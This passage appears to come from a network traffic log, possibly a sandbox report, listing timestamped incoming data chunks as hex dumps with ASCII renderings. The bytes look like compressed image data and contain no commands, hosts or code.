d3 43 f8 dd f1 6f 4d b5 f1 86 9b 63 65 e1 2b 7b 89 ad 2d e7 81 d9 25 86 27 6e 3c c7 cf cf f7 7d 3e 94 df 00 fe d3 56 7e 2a 
8f 56 f8 3f ac 41 6b a8 e9 4d e6 58 e9 da e7 9f b3 c9 5d c5 60 df b8 7c ca 3e 5f 9b ef 56 d5 30 75 1b 8c de b2 5d 7b f9 7a 
9c bf 5d a4 d2 a6 d3 4a 57 f7 7f 97 b3 b5 ed af 97 cc 9b e0 7f 8d a2 f0 af 8a b4 dd 49 67 81 2d 17 f7 37 12 47 fe d7 f1 7f 
e8 2c 2b 17 f6 a4 f0 de 9f af 78 ff 00 fe 12 0d 07 56 b5 fe cf ba 99 75 64 ff 00 a6 33 fd cb 8d 87 b2 6f f9 ff 00 e0 75 e5 3f 
15 3c 3b af 7c 0f f1 54 9a 7e b4 ff 00 3c b6 f1 dc 5b c9 07 fa ab 98 37 63 7a 7f f1 3c 57 55 e0 7b 7b e5 f8 73 ff 00 09 36 ad 
69 3d f5 bc af e4 c5 e5 c0 ce 88 
Data Ascii: :/u5BOu{x}2D~3TECoMce+{-%'n<}>V~*V?AkMX]`|>_V0u]{z]JWIg-7G,+xVud3ou?<;|T~<[7cz<WU{{s6i=

2022-06-08 07:56:26 UTC 8356 IN Data Raw: ca 20 9d 64 db f2 fd fd cc 56 bd 3b 52 be f8 ad e0 3d 62 ff 00 54 d3 6f f4 a7 bb ba 86 3b 8b bd 36 38 23 89 ef 
57 6e 3c c8 ba ac 9f 2a f3 8e 7b 11 5c 95 e1 1a d3 f6 91 bc 6f f7 73 27 bf f9 f9 33 7a 52 95 08 f2 34 a7 6e 8d af 85 f4 bb fc 
3c ec 76 da 87 87 fc 3f f1 4b c1 fa 96 8b ad 5a 4f 63 ac 5f a2 db a5 ac ff 00 23 c3 72 8c cc b1 2b ff 00 71 f6 7c bf c2 19 78 
eb 5f 9f 7f 1c be 0f de 7c 13 f1 f4 7e 5c 72 4f e1 fb c4 f3 b4 eb e9 23 ff 00 5c af f7 95 ff 00 ba ea df 29 5a fb 9b c5 1e 1b f1 
c7 8d 34 eb 4f 11 78 7f c4 b2 7f 66 2f d9 6f ac 6c 64 f2 ed d1 19 18 91 10 8f 19 65 3f 33 0c 9c fc 9b 4d 61 f9 da 6f 88 fc 63 
3f 81 fc 79 a6 d8 f8 87 42 f1 33 cd aa 68 d7 d0 6d 78 a1 dd f7 be 65 c3 06 8e 5d ca 7b 91 ef 45 28 cb 0e dc e9 bd 75 ba 
d5 27 f7 f5 7a d9 f9 05 49 
Data Ascii:  dV;R=bTo;68#Wn<*{\os'3zR4n<v?KZOc_#r+q|x_|~\rO#\)Z4Oxf/olde?3Maoc?yB3hmxe]{E(u'zI

2022-06-08 07:56:26 UTC 8364 IN Data Raw: 7b d5 5f ee 3e a3 86 4f b2 69 e8 d7 09 27 ef fe 7f df 7d f4 a6 b5 ec 53 b3 c2 b3 c6 f7 6b ff 00 2e b1 fd ff 00 96 
bc 2b c1 bf 13 17 e2 76 9b 3c 96 73 cf e1 4f 15 af ee 66 b1 be dd b1 db fd a8 e4 e8 7f da ae 77 c5 9f 1d 34 3f 0a da eb 4c 
da 94 09 e2 3b 3b 19 2e ed 3c c9 d7 e7 95 38 db fe f8 7f e1 eb 5d 74 a8 fb 77 a6 be 85 56 c4 2c 3e 92 d3 c9 ff 00 91 f4 a5 
8d f3 5a db f9 da 85 dc 1a 5e d7 d8 9e 7c ea 8f 58 ba 87 88 a7 b5 f1 c5 bc 7a 5c 12 5e e9 f7 f0 f9 b2 dd 5a fc fb 25 4f 5f 
ee 65 7f 3a f2 1d 37 c6 91 78 cb e1 96 85 79 7d f2 6b 1a b5 a2 dc 5c 49 27 cf be 56 5e 77 7f b3 5d cf c1 18 ef ad f4 ab 48 
e6 4d e9 14 4d e7 4f 27 df fb dc 73 4e a5 28 d3 8d d6 e3 a7 29 55 95 e5 b1 e8 9a 8f 8c 2d b4 1b 77 5b cd ff 00 6b 95 37 
c5 1f ff 00 14 6a ac 7a d6 8b e2 8b 1b 
Data Ascii: {_>Oi'}Sk.+v<sOfw4?L;;.<8]twV,>Z^|Xz\^Z%O_e:7xy}k\I'V^w]HMMO'sN()U-w[k7jz

2022-06-08 07:56:26 UTC 8380 IN Data Raw: b7 be 92 0f b6 27 9d e4 7f bc df 75 5b b8 ff 00 67 b5 49 e3 49 a2 d0 e4 8e c5 ae e4 77 b8 7f dc c7 02 6f d8 bb 
7e 6f 33 9f bf 5c 75 70 2e 32 e6 a6 ac 8c 1c 23 6b d9 7c 8b 5a 5f 84 74 cd 0e c7 52 d5 b4 fd 26 07 bd b8 4f 39 23 d9 fb a7 
65 f4 ff 00 81 37 0b 5e 77 e3 ef 8f d7 3e 20 b5 f3 23 bf 9e 0b b8 92 6f dd ce 9b 1f cd dd fe ac ff 00 c0 7e 5f 6a f6 6f 0f da 
dc b6 95 1d f5 ac 71 dd 22 fc 9e 5f f0 7c bc f4 e7 fe fa ac df 89 5f 05 f4 6f 10 68 76 0d f6 0f 9f ce 57 79 f6 6c b8 dc cb c9 3f 
df ff 00 76 a6 94 e3 4e a2 55 2f 25 df fa dc 72 a0 ea ab bb fe 87 37 a3 f8 db 4a f1 45 f5 8c d7 12 48 ef 79 6e a8 f2 46 ff 00 
73 73 7d ef 46 f9 95 54 ff 00 fa ea 1f ed 2f 10 e8 f3 c9 a4 c9 f2 22 ee 78 67 8d fe 44 5d df 2f d2 bc 97 5e f0 ed ce 83 a6 c9 
67 6b ff 00 1e f6 e9 fe 
Data Ascii: 'u[gIIwo~o3\up.2#k|Z_tR&O9#e7^w> #o~_joq"_|_ohvWyl?vNU/%r7JEHynFss}FT/"xgD]/^gk

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:26 UTC 8396 IN Data Raw: 75 39 66 6c f6 dd 5c fe ca 74 a2 f5 e6 8f e2 bf 03 be 35 a9 54 76 6b 95 fa 3b 3f 5e df d6 e7 88 eb 5e 1b f1 8f 83 
f5 cf ec ff 00 10 47 f6 27 95 15 e1 9e 47 f9 11 77 7f 77 f8 9b f9 6d ab 5a 5f 8f 2e 56 49 ed e4 b4 b5 79 57 75 a3 dd 49 ff 
00 3d 76 fc cb f5 db 5e 89 e3 2f 03 f8 86 6d 4b 4d be f1 77 99 3f f6 4d c4 76 37 de 7c f2 79 49 e7 6f 92 d8 a2 fd e7 57 fe 
1d a7 1f 79 7f 86 b1 7c 2b e0 79 6f 3c 55 a9 7f 62 d8 7f 6a 37 d9 3c eb 48 e0 46 7d ec dd 24 ed d3 fb c6 ae 2e 35 97 34 
ac ed d4 c6 ad 0e 59 f2 c5 5b cb 73 87 bc f1 e5 b7 83 ed 63 bc f3 e0 b5 bb 64 8d 3c 88 d3 f7 be 53 2e 1b 71 f5 f5 ac db 
8f 88 13 ea da ac 76 b6 f1 c7 3c 5b fc 99 ae a0 f9 3c 98 97 81 f3 7f 7a bd a3 4d fd 89 fc 6d e3 48 de 4d 5a c6 ea d7 4f 89 
f7 a4 71 cf 03 cb fe e8 5f fe cb 8f ee d7 
Data Ascii: u9fl\t5Tvk;?^^G'GwwmZ_.VIyWuI=v^/mKMw?Mv7|yIoWy|+yo<Ubj7<HF}$.54Y[scd<S.qv<[<zMmHMZOq_

2022-06-08 07:56:26 UTC 8403 IN Data Raw: f3 69 2f 26 c5 b7 d8 aa bb d6 2c ee dd b1 7b 6e ff 00 66 b9 3f 13 7c 37 f0 e7 87 fc 79 ab 5a f8 6f 56 b5 d5 fc 
5b 17 da ef af a0 fb 77 9b 68 9b 23 f9 b6 ed c7 fa 44 6e 92 49 b0 fc ad f2 fa 62 bd 83 c3 7f 16 b4 cf da 27 c1 7e 3b b5 d1 
7e dd 05 c6 8d a7 47 71 6f a9 4f b5 e5 f3 7f 86 6d df ed ed db ea 3b 57 4d 6b d4 92 c4 46 3c ae 0b 5b ee e2 dd ef f8 33 9a
9b 85 39 3a 37 e6 8d 47 65 d9 49 6d f9 a3 b2 f1 17 c1 9d 23 e1 ce 9d e1 7d 0d 64 83 54 b7 bc be 8e dd 2c 6f a3 6f f4 95 
4c 30 5f 2c 72 58 33 ee da 78 63 b4 b7 dd ad 3f 1d fc 4e d1 ed 6f a3 f0 d6 93 71 25 ad bc 0f 25 a3 fd 86 d5 6f 7c e8 96 2f 
de a6 d8 db 76 e5 fc b3 b6 b9 8d 5b c6 1e 54 1e 1a b7 92 fe 7d 53 50 b7 9b c9 9a ea 4f f5 bf 65 f2 07 9f ba 43 f3 26 e9 5a 
35 c8 f9 be 4c 56 cf c3 bf 00 e8 36 5e 3f 
Data Ascii: i/&,{nf?|7yZoV[wh#DnIb'~;~GqoOm;WMkF<[39:7GeIm#}dT,ooL0_,rX3xc?Noq%%o|/v[T}SPOeC&Z5LV6^?

2022-06-08 07:56:26 UTC 8419 IN Data Raw: b5 bf bc d2 6e de d6 f6 eb 51 57 f2 20 f9 d3 cd b8 fb cb 26 3f 83 fe 5a 2f be ea 5d 0f c4 4b e3 af 05 eb 5e 17 69 
ff 00 b6 ae e5 b1 bb 96 de 7f 23 f7 57 3b 99 d2 38 96 4f bb e6 29 eb 5e 4c 71 7f bb 70 5f 14 52 df 7d 3c cf 56 78 64 ea 2a 
8f 69 3d 6d b6 bd d7 e7 fd 5b 67 c5 9e 20 8a d7 c0 fa b7 8b 2c fe cb e6 da e9 cd e7 25 d7 fa 99 a5 56 cf b7 4f fd 9a bc a3 
c1 7a b4 1f 0d 23 b4 6d 42 39 2e af 75 c9 9a 6b 89 3c fd f6 f0 ac bf bc 2c 5a ba 8f 1d 4d aa f8 83 40 d0 bc 1f a2 f9 70 79 
b0 ef d6 64 f2 15 f6 2e df 24 75 ca f2 e9 b8 2f f1 04 ae 7e 3f 87 ba bc b6 b0 68 fe 20 8e 4d 3b 50 d1 ae 21 b4 be d6 20 93 
7a 6a 6b b4 6d 95 77 7c bb 97 e5 cf 4a e8 c3 ce 2a 72 95 f4 7d 3c ba db ef 31 ab 09 ce 9a 87 55 7d 7b 76 ff 00 87 ef 6e 
e7 a6 2f 88 17 c6 1a 54 76 3a 3f 91 7b 
Data Ascii: nQW &?Z/]K^i#W;8O)^Lqp_R}<Vxd*i=m[g ,%VOz#mB9.uk<,ZM@pyd.$u/~?h M;P! zjkmw|J*r}<1U}{vn/Tv:?{

2022-06-08 07:56:26 UTC 8435 IN Data Raw: 9f f0 2a f3 9f 8c 7f 19 ac f4 4f 8f d2 69 77 9a 4d f5 b2 59 f9 2e f7 7e 66 df 39 57 e5 dc a8 c0 ac 9b 4f cc ac 71 
cd 72 2a d2 c5 d4 8f bd bd fe e5 ff 00 0d fa 9d 32 a6 a8 c2 69 46 d6 4b ef 7f f0 f6 3d d3 e2 65 cc f6 f7 73 ff 00 c2 35 71 e5 
ea ba f4 50 c5 15 ad f7 c9 15 9a c5 f3 19 9f 67 fb be 58 f5 66 51 9a f2 ef 87 fa f4 1a b6 b1 ae e8 7a 0c f3 ff 00 67 cb b5 2d 
ef a3 4f b3 db bc be 5b 99 e2 91 b8 d8 9b b7 b6 f4 f9 bd 37 57 a9 6b 52 49 e0 18 fc 4b af 69 7e 5d f4 da 8d a3 5d db f9 f3 
f9 5e 76 cb 64 7d bf 30 20 7c a3 75 7c 8f f0 ff 00 e3 32 dd 68 fa b7 8c b5 4b 4b 1f 11 78 81 ae 15 f4 6f 0f c7 75 f6 44 b2 9d
e3 dc cd b3 95 78 47 ca ad fc 6d f3 55 e1 30 ee 4e 7a 7a f7 57 76 23 11 5d 46 10 e5 7b da cf be 9d 7c ff 00 3d 4f 71 f0 ae 
b1 ad 7c 2f 7d 5b c4 1a d6 
Data Ascii: *OiwMY.~f9WOqr*2iFK=es5qPgXfQzg-O[7WkRIKi~]]^vd}0 |u|2hKKxouDxGmU0NzzWv#]F{|=Oq|/}[

2022-06-08 07:56:26 UTC 8443 IN Data Raw: 1b ce df e9 2c d8 ec e7 e5 a9 bf b0 ec d6 c6 08 da 3f 22 f6 58 5a 1f b7 4f b9 d1 1b ef 7c c3 3d eb 07 6b da 57 
57 26 d7 3d 23 c2 fe 24 b3 6d 56 39 bf 79 65 77 12 35 bb c7 3c 0d b1 e2 6c 6e da b9 f7 fb b5 d0 4d e2 28 2e 27 bf d5 ae 
a0 8e d7 4a 57 64 b1 92 7b af ee fc 9e 66 ef e3 60 bf ef 57 98 d9 af 88 74 9f 22 65 9e d6 f5 37 ef 9a 0b 5f be fb 7f de ff 00 
d0 6a 6d 59 6e 75 68 d3 58 92 d2 7b 59 57 e4 48 d1 db ca 45 55 db e5 aa fd df bc db aa 65 57 ad ef 6d b5 fc c9 e5 be c7 
51 e1 3f 11 5e 59 ea 91 dc 58 c7 25 ec 4d e5 bb c7 3f ee 9d 19 5b af cb d5 bf f6 5a fa 82 1d 72 2f 10 49 3d bc 97 f2 79 aa 
8b b3 e4 d9 e4 ca df 70 e5 bf 8b e6 fb d5 f1 be b5 e2 89 7c 3f 7d 02 db da 7f c7 fa 46 ef 75 1b ec 48 59 77 86 3f ed 65 79 
da bd 3e b5 ec 9f 0e 75 2d 42 e2 d6 d3 58 
Data Ascii: ,?"XZO|=kWW&=#$mV9yew5<lnM(.'JWd{f`Wt"e7_jmYnuhX{YWHEUeWmQ?^YX%M?[Zr/I=yp|?}FuHYw?
ey>u-BX

2022-06-08 07:56:26 UTC 8459 IN Data Raw: 06 a5 e1 07 bf fd cd be 9b 75 6b 1d c5 bc db bf 89 0e 3f 77 86 f9 b6 6e c7 a7 a5 77 50 c6 4a 8b e4 94 b9 97 e3 
ff 00 04 ea 9d 4a 15 a2 9c ec 9f 92 76 7f e5 f9 7a 1f 11 fc 3f d3 ed bc 41 e2 09 21 9a 39 12 26 46 85 23 82 d5 a5 74 6e fb 
50 7a 2f ad 76 cf f0 57 40 d6 21 7f b1 ea 57 5a 66 aa db 91 23 f2 3e 4d cb d8 d7 d0 5a 4f ec eb 63 e0 fd 0f 52 f1 d4 3a b4 
97 5b 5d 7e dd f6 57 54 b8 d3 d9 e7 db e6 f0 59 3c b0 bf c2 32 d9 6a e8 bc 3b f0 b7 c0 9a b5 8c eb ab 78 a2 eb 4b 8a d6 
f9 be c9 7d 1f 96 fb e7 7d 9c b6 47 f1 bf f0 f0 70 b5 18 cc 74 a5 5e 10 a3 75 dd f5 fb be ef bc c6 38 7b 2d 64 ac fe e3 e7 
18 fc 03 a9 f8 7f 4e 9e 49 2e ed 75 bb d5 75 44 9e 0f 93 e5 6e 36 9c d6 0d be 9f 7d 6f e2 6f ec f9 bc cf 36 eb cb 44 ba be 
fb ff 00 de dd 86 ff 00 c7 6b ea 6d 27 e0 
Data Ascii: uk?wnwPJJvz?A!9&F#tnPz/vW@!WZf#>MZOcR:[]~WTY<2j;xK}}Gpt^u8{-dNI.uuDn6}oo6Dkm'

2022-06-08 07:56:26 UTC 8475 IN Data Raw: ec 85 ba fb f4 61 c6 2b cc bc 7f f0 71 7c 6d ac 5d c3 0f 85 f4 0b 6f 09 2e d7 9b c9 ba 92 de e2 f1 51 b7 22 ba 
a7 cb b8 76 63 cf 6a dd d5 f6 89 4d db d5 7f 4c e6 58 38 53 72 a7 1b eb d3 4f cf 43 c4 be 1c fc 42 f0 d5 9d d5 de 8b aa 4f 
b3 ed ef e4 dc 79 9b 5e 2f 29 ba 75 f6 fe 2a f8 bf 5c b1 f1 0f 89 af bc 4b 6e bf 65 91 2d ff 00 82 4f be ea cc ea 36 9f a2 d7 
d1 9e 34 f8 7f 73 f0 97 c5 5a 95 e2 cf 6b 75 a6 45 34 9e 4c 93 c9 f7 e0 6f f5 7f 37 39 fb bb 0f a1 af 90 f5 1f 1d 5c d8 ea d3 
ea 16 2f f6 29 6e 9e 4f f5 7f 3e cd f9 cf 27 fd ea f6 30 10 75 e9 ba 98 7b 6c 92 6f e4 ec ff 00 23 c5 c5 42 a6 1d 3a 15 3a 3f 
c0 ce f1 2f 82 b5 2f 01 c1 67 78 d7 70 cd 6f 74 91 ba 3c 0f fc 5b 55 ca ff 00 c0 77 57 45 e1 2f 15 7f c2 41 0d fd c7 88 af ae 
e6 48 ed d9 1a 7d ea ee 9b 
Data Ascii: a+q|m]o.Q"vcjMLX8SrOCBOy^/)u*\Kne-O64sZkuE4Lo79\/)nO>'0u{lo#B::?//gxpot<[UwWE/AH}

2022-06-08 07:56:26 UTC 8483 IN Data Raw: 36 3e 6a d2 9e 26 9b 94 92 69 25 d7 6d 7b 6d 6f c4 ce 78 59 46 2b 46 db e8 ad b2 eb bd ff 00 0f 99 e0 be 11 
f0 27 f6 74 f1 de 6a 10 41 f3 7d cb 59 3e fe ef 53 ff 00 c4 d7 6d 1e b1 15 c5 f4 76 b0 fc f2 ff 00 1f fc 06 be dc 9b c0 7e 07 
d5 bc 4d 61 a4 de 68 b6 b7 bf 6c dd f6 b8 23 83 ca b8 f9 ff 00 e5 ac 6e 30 df 29 f4 ed fc 35 f2 d7 c7 cf 82 1f f0 ce 9e 3b 9f 
4d b3 9f fb 43 4d bc 5f b4 5a 5f 49 f3 bb c4 5b ee 9f f6 87 43 51 43 32 84 ea 2a 4b ad ec fa 69 fd 69 dc e9 9e 01 c6 12 9c 
5f c3 66 d5 ac ec fa ff 00 9f f9 1c 46 a1 32 db ec 8f cc fd d6 ff 00 f9 69 54 5a f1 96 4f 3a 39 36 7c ff 00 3c 9b 3f 87 fa 55 5b 
78 6e 6f 2e 3e d5 27 fc 7b fd c4 ff 00 eb 56 d4 9e 5b 47 1c 6d e5 a6 df f9 67 1f f5 af 4a 9d 1e 67 76 70 54 ab d8 c9 d7 bc 
41 3d 84 16 0c d2 6f b7 96 e5 
Data Ascii: 6>j&i%m{moxYF+F'tjA}Y>Smv~Mahl#n0)5;MCM_Z_I[CQC2*Kii_fF2iTZO:96|<?U[xno.>'{V[GmgJgvpTA=o

2022-06-08 07:56:26 UTC 8499 IN Data Raw: dd 89 11 7f 8b e6 e7 0d f8 57 90 f8 82 eb ed f7 51 c6 b2 7f b9 fe c5 55 93 c8 b3 83 6d 74 ca a4 da b2 d4 e5 8d 
18 c7 e1 d3 d3 43 ec 8f 87 7f b7 55 9d 87 8a a4 fe d4 d2 5f 41 d3 2f 65 f3 9d ed 67 69 76 4b f7 77 1c f4 fc 2b ec bf 09 f8 
ca 3f 88 16 f3 c6 c1 35 1d 3d 62 59 ad 35 5b 1d af 6f 78 ad ff 00 a0 c8 3f 89 7f 1a fc 5c bc 8d 6f 23 f3 16 4d 8e bf 72 4a fb 
a3 f6 3f f1 84 1e 03 f0 75 fa ea d2 6a ba 47 89 56 dd 66 fe cd ba 83 64 53 45 f7 63 9a 00 df 7b fc 8a f2 f1 32 e4 8a d3 7e 
8a df 93 3a 69 d3 72 bb 4f 6d 9b bd d3 f5 3e b5 b1 d5 ad 2d 6e ae ed ee b6 26 a7 17 fc 7c 41 26 ed 8e df c3 b4 9f 97 94 
af 8f ff 00 e0 a0 da 3c 5a 6c 7e 05 85 6d e4 df 3d f5 c5 dd a5 f6 f5 f2 7c 87 54 32 44 df ed 2b fd df f6 6b e8 bf 0a ea 9a 8f 8
c 24 9f 5a d6 a4 b1 d2 fc 39 6b 0b 
Data Ascii: WQUmtCU_A/egivKw+?5=bY5[ox?\o#MrJ?ujGVfdSEc{2~:irOm>-n&|A&<Zl~m=|T2D+k$Z9k

2022-06-08 07:56:26 UTC 8515 IN Data Raw: 87 ed 74 95 d6 ae e0 44 ba 87 ed 7f 65 81 f7 ca eb bb 6a 6e 5f e1 fb ad 5c 3f 8a be 2c 4f 2f 99 63 a3 c7 fd 9d 
68 bf 7e 4f e3 ff 00 ec 6b cc f5 8f 1a 5f 6b 9a 94 f7 53 49 24 f7 57 0f bd e4 ff 00 3f a2 d6 9e 83 f0 db c6 7e 2a f2 ff 00 b2 fc 
2f ac 5f 23 7f cb 48 2c a4 d9 f9 e2 92 a3 0a 3e f5 49 7e 25 73 d5 ae ed 08 b6 bc 91 52 eb 56 69 7f e5 a5 43 0c de 6c f1 ab 
7d ca f5 2d 07 f6 3b f8 bb e2 3f f8 f5 f0 84 e9 ff 00 5f 57 51 c5 fa 33 57 55 63 fb 02 fc 62 68 fc cb 8d 37 4a d3 a2 fe 39 2e b
5 18 d1 13 f2 cd 3f 6f 42 f6 e6 d7 ef fc ae 2f ab 62 2d 77 1b 7a b4 bf 33 c6 ff 00 b4 22 58 f6 c3 1e ca d6 d2 7c 60 da 6d ac 
91 b7 99 f7 f7 d7 ae 43 fb 0d ea f6 71 f9 da e7 c4 6f 0c e9 d6 fb f6 3a 69 d3 b5 c3 a7 e3 c2 fe b5 b9 a5 fe cb ff 00 08 b4 b9 
23 6d 5b e2 33 de dc 7f 
Data Ascii: tDejn_\?,O/ch~Ok_kSI$W?~*/_#H,>I~%sRViCl}-;?_WQ3WUcbh7J9.?oB/b-wz3"X|`mCqo:i#m[3

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:26 UTC 8523 IN Data Raw: 5e 65 be 9f e2 4b ed 13 5d d3 92 38 66 b1 7d be 57 94 92 3c 6a d2 70 19 be eb 7f 17 e1 5f 3c ea 9e 3c d4 35 
ad 72 3d 26 cf c3 70 68 9e 2d b0 bb df 12 7d c7 b9 97 76 c6 87 66 55 3e fb 4b b5 8f cd 8d a2 95 0b 62 12 70 7b 5a fe 5f 
7d 88 9c a5 49 a4 d5 ee fe fd 6e 7e 9b 4d 36 95 e3 0d 36 dd 6f a0 b1 bd f2 b6 ef f3 ff 00 bb ec ff 00 79 6b e6 df 14 6a 97 
3e 08 f1 c7 89 34 f5 ff 00 4a d3 ec ee e3 4b 79 3f 8f b4 8d d3 e5 66 f9 93 a7 5a cf f8 33 f1 cb c2 7e 23 8f 42 b1 d5 35 2b 
5d 3f c4 17 49 f6 7b 8d 29 f7 22 4c dd 36 b7 64 7d d5 d8 7c 60 d2 6d b4 bf 05 fc 42 fb 54 91 ec 97 4e 5b b8 7e 7d 8f 6d 3c 
31 ec 49 3f 1d aa bc 75 ef 5e 7d 69 4e 33 8d 39 46 ce 4e df 8d 8e 84 e2 e0 ea 29 5d 45 36 5e b3 f1 45 e2 da cf 24 de 63 
a2 fc e9 e6 6e df b5 e3 3c 0f f8 1f 4a f9 97 f6 
Data Ascii: ^eK]8f}W<jp_<<5r=&ph-}vfU>Kbp{Z_}In~M66oykj>4JKy?fZ3~#B5+]?I{)"L6d}|`mBTN[~}m<1I?u^}iN39
FN)]E6^E$cn<J

2022-06-08 07:56:26 UTC 8539 IN Data Raw: 6f fb c6 82 d5 d3 ee 7f a8 d9 58 9a ad fd b4 7f be 8e d2 44 79 7f e5 a4 6f b2 b0 da fa 56 de b2 7f 0d 57 92 e3 
f7 9f 36 f7 a2 39 65 0b a6 d0 a7 99 e2 26 9a 4f f1 36 6d e6 fb 54 2e b2 79 8f ff 00 5d 3e 7a d4 b3 fb 63 79 8d 1f d9 5e 2f 
fa 6f bb f4 ae 5a 39 97 31 ae f7 ff 00 d9 aa 49 b5 09 e3 f9 53 63 ff 00 0d 6c f2 dc 3d ac a2 71 fd 7b 16 e5 f1 9b 7a d4 3e 
44 9e 5c 3e 46 d6 fb f2 6c fe 1a e3 35 6d 21 a4 f9 3c a4 45 5f f9 e6 95 b0 da 84 f3 42 99 4f fe 26 a0 6b cb 96 f9 76 6c 7a 
4b 2e a3 1d 39 41 63 b1 72 77 94 ff 00 13 84 d4 34 b3 ff 00 3c 95 d6 b0 af b4 df 32 4f 9a 08 d3 fe b9 d7 a7 dc 4c ca 9b 7e 
c7 bf fe 01 54 e6 8e 2b 8f 95 93 65 73 d4 ca e8 d4 d2 da 9e cd 0c d6 b5 35 af e7 73 c9 2e b4 b7 fe 1f fc 7e aa c7 67 3c 5f 
ee 57 ac c9 a1 db 4c bf dc 6f f6 2a b7 
Data Ascii: oXDyoVW69e&O6mT.y]>zcy^/oZ91IScl=q{z>D\>Fl5m!<E_BO&kvlzK.9Acrw4<2OL~T+es5s.~g<_WLo*

2022-06-08 07:56:26 UTC 8555 IN Data Raw: 9f 10 2b 47 3a de 7d 95 e1 95 15 13 cb 76 7f 9b d4 1a af a7 f8 56 2b cb 1f 26 ea ee 04 78 9f 64 2f fc 7b 7f de 
ae b3 4f f8 63 a5 4b 24 7e 64 f0 4f fc 09 1c 88 a8 ee df ed 7a d7 0d 57 4a d6 7b 9b 29 cf 9a f7 45 3b c8 e7 5d 37 c9 b7 82 
3b ab 76 f9 3f 71 75 bd dd bf 23 f2 d4 3a b5 f7 88 74 68 3c 9b 88 e0 f2 65 4f 92 49 3e 7d 8d e8 77 7d df ca ba 2b 5f 0b e8 
ba 0c 92 4d 63 e4 5a dd ec 54 9b cc dc 88 9f f7 cc bf 37 e3 5d 33 6a 1a 7d d4 09 6f a9 4f 1e a3 6f b3 7f 97 3c 1b 1f 77 fb 
2c 4f f4 ae 54 ec d3 e5 ba f4 d4 b9 55 8c 94 97 35 9f 93 d0 f1 bb 5d 1f c4 17 fe 7c 77 d7 72 47 e6 ff 00 cb 39 1f e7 f9 7a 
72 2b 3e fb 49 6b 3f 32 6d 42 7f b6 da 44 fb 3c c8 2e 95 3e f7 6f bd 5e c9 37 85 ed 75 48 64 b7 8e c3 55 74 f9 a6 7f 2f 51 
64 fc 82 e3 f9 57 23 79 e0 38 ac a3 8e 
Data Ascii: +G:}vV+&xd/{OcK$~dOzWJ{)E;]7;v?qu#:th<eOI>}w}+_McZT7]3j}oOo<w,OTU5]|wrG9zr+>Ik?2mBD<.>o^
7uHdUt/QdW#y8

2022-06-08 07:56:26 UTC 8562 IN Data Raw: 6e ae 5d 45 3d 9f 91 26 5f ed 0c 9f f3 c7 e4 ff 00 0a 8f 67 24 6f 0a b1 be a6 5a d9 c4 b2 3b 49 75 be 2f bf f7 37 
fe 95 25 ba c1 07 ca d2 49 23 6f de 9e 42 6c 7f fc 7b f9 52 49 6d f6 c9 3c c9 23 48 3f be f1 fd df eb 52 69 f7 27 4d f9 61 9e
d6 78 19 be 68 24 46 95 3f fa d5 16 71 f5 3a d5 48 c9 fb ba 2f eb cc da b7 d5 22 be f2 d5 a0 82 c9 62 fb f2 7c a8 ef bb fb 
ca fc 35 58 9b 52 d2 ac e3 92 df fb 32 3b ad df dc 91 91 3f 4e 95 95 34 f7 97 97 1b 60 d1 ad 5d 7f 83 63 b7 f8 d4 b6 fa 1e 
a1 71 36 e6 8e d5 15 bf e7 a7 cf 59 f2 a5 ba b1 d1 ed e7 2d 20 f9 be 57 1b 79 7d f6 cd 36 7b 7b 58 ee a0 b7 df fe af cc df 
fa bf cd f9 57 2f 79 0e a1 14 9e 5c 97 72 22 32 7c ff 00 bf df f2 fe 75 d3 6a 1a 4c 76 72 7d 9e 68 fc f9 57 ef c7 b3 66 cf fb 
ea a2 bc d3 65 44 f3 16 77 7d 
Data Ascii: n]E=&_g$oZ;Iu/7%I#oBl{RIm<#H?Ri'Maxh$F?q:H/"b|5XR2;?N4`]cq6Y- Wy}6{{XW/y\r"2|ujLvr}hWfeDw}

2022-06-08 07:56:26 UTC 8578 IN Data Raw: 36 6b 3f 9d 24 1e 7b b3 ec f2 36 7c 95 4a ce 18 a0 93 e6 74 9b fb bf 27 dc ad 1b 7d 52 3b 39 20 db 1c 6f fc 1e 
66 cd ef 57 28 af 53 9a 35 9f 36 8e c2 6b f6 fa 5d b7 91 e5 da 4d a5 cd f3 3f 98 88 c9 bf db 6e 6b 39 b5 29 da 0f 26 49 f7 
fc 9f 3c 9f 37 eb 5b 77 5e 27 5b e5 fd e7 98 e7 fe 9a 7c f5 5a 3d 41 92 4d d0 c7 1b a7 dc f2 f6 2f f9 c5 62 a3 a2 52 47 a8 
f1 17 95 e1 3d fb 23 02 1b 79 ee a1 9e 38 ee b7 ee 4d 9f bc 46 75 75 fe 75 1c 3a 4b e9 d6 3b 4c 91 fc ff 00 27 ee 1d ab 
a3 bc db 75 1f 98 b6 11 a3 ff 00 d3 0f 92 b1 6e ae 16 cf fd 67 ee f6 d5 c7 97 73 3a b3 af 05 68 dd fd e4 4b 6f 22 f9 7e 5c 
78 89 13 62 79 09 ff 00 d7 ab 50 bc 19 8c 5d c1 3c fb 53 67 97 bf fc 6a b4 7a f6 e8 f7 43 77 ff 00 8f d6 1d f7 8a ae 44 2e 
d1 d8 cf b1 1f e7 f9 19 93 fc 28 97 2b d2 
Data Ascii: 6k?${6|Jt'}R;9 ofW(S56k]M?nk9)&I<7[w^'[|Z=AM/bRG=#y8MFuuu:K;L'ungs:hKo"~\xbyP]<SgjzCwD.(+

2022-06-08 07:56:26 UTC 8594 IN Data Raw: c3 35 da 78 82 4d 2b 49 83 fd 16 0b ed 52 55 fb 9e 5a 6f 77 ff 00 c7 59 bf f4 1a 93 5a f1 35 cf d8 6d 1a f2 08 f4 
bd c9 fe ae 49 d6 dd ff 00 f1 ef 9b 3f 8d 54 69 be 44 94 7f 5f c4 e7 a9 51 42 4d ca 57 b7 cb fa fb c9 3f b0 e0 d2 75 88 e1 
d0 e3 93 7d e4 3f 24 f7 4f b1 fe 5e b8 df ba ab f8 6e c6 fb fb 72 ee ea fa e2 77 65 f9 e1 8e 79 ff 00 bb fd ec c9 f7 7d d4 57 
0f af 78 8b 4c 8b 52 82 e2 4d 4a 78 12 5f b9 1c 7b 6e df e5 ff 00 6f af e6 2a 48 fe 21 7d 87 55 f3 34 9d 27 51 d4 7e 4d 9f 
6a 9f 51 67 7d dd ca ac 7b 76 b6 2b d1 8e 12 a4 e9 f3 4b 5f eb bb 67 8f 2c c6 8c 2a f2 47 4d 7f ad 23 fa 9a 1a e7 88 a0 bf 
